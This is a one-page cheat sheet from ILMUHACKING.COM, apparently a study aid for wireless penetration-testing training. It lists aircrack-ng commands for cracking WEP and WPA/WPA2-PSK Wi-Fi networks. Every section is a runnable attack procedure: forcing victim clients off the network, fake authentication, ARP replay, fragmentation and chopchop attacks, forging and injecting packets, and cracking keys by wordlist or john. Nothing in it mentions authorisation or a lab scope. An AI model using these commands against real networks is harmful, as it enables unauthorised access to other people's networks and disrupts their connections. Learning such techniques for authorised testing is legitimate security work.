# WiFu Cheat Sheet 1.0

**by ILMUHACKING.COM**

## Cracking WEP SKA/OA and WPA/WPA2 PSK Network with at least One Client Connected

1. **Going to monitor mode:** `airmon-ng start <if> <channel>`
2. **Capture IVs and PRGA XOR for WEP or Handshake Packet for WPA/WPA2**
   ```
   airodump-ng -c <channel> --bssid <AP_MAC> -w <filename> <if>
   ```
3. **WEP SKA and WPA/WPA2 Only: Deauthenticate a client**
   ```
   aireplay-ng -0 1 -a <AP_MAC> -c <VICTIM_MAC> <if>
   ```
4. **WEP Only: Perform fake authentication**
   a. **Open Authentication:** `aireplay-ng -1 0 -e <SSID> -a <AP_MAC> -h <OUR_MAC> <if>`
   b. **Shared Key Authentication:** `aireplay-ng -1 0 -e <SSID> -y <PRGA_XOR> -a <AP_MAC> -h <OUR_MAC> <if>`
5. **WEP Only: Perform ARP request replay**
   ```
   aireplay-ng -3 -b <AP_MAC> -h <OUR_MAC> <if>
   ```
6. **Crack key**
   a. **WPA/WPA2:**
      - `aircrack-ng -w <wordlist_file> -b <AP_MAC> <dumpfile>`
      - `john --stdout --incremental:all | aircrack-ng -b <AP_MAC> -w - <dumpfile>`
      - `john --stdout --rules --wordlist=<wordlist_file> | aircrack-ng -b <AP_MAC> -w - <dumpfile>`

   b. **WEP:** `aircrack-ng [-n 64/128/152/256/512] -b <AP_MAC> <dumpfile>`

## Cracking Clientless Open Authentication WEP Network

1. **Going to monitor mode:** `airmon-ng start <if> <channel>`
2. **Perform fake authentication**
   ```
   aireplay-ng -1 0 -e <SSID> -a <AP_MAC> -h <OUR_MAC> <if>
   ```
3. **Obtain PRGA XOR bits**
   a. **Fragmentation attack:** `aireplay-ng -5 -b <AP_MAC> -h <OUR_MAC> <if>`
   b. **Chopchop attack:** `aireplay-ng -4 –b <AP_MAC> -h <OUR_MAC> <if>`
4. **Create ARP packet using PRGA XOR bits**
   ```
   packetforge-ng -0 –a <AP_MAC> -h <OUR_MAC> -k 255.255.255.255 –l 255.255.255.255 –y <xorfile> -w <outfile>
   ```
5. **Capture IVs**
   ```
   airodump-ng -c <channel> --bssid <AP_MAC> -w <filename> <if>
   ```
6. **Inject ARP packet that we have created in step 4**
   ```
   aireplay-ng -2 -r <packetfile> <if>
   ```
7. **Crack key**
   ```
   aircrack-ng [-n 64/128/152/256/512] -b <AP_MAC> <dumpfile>
   ```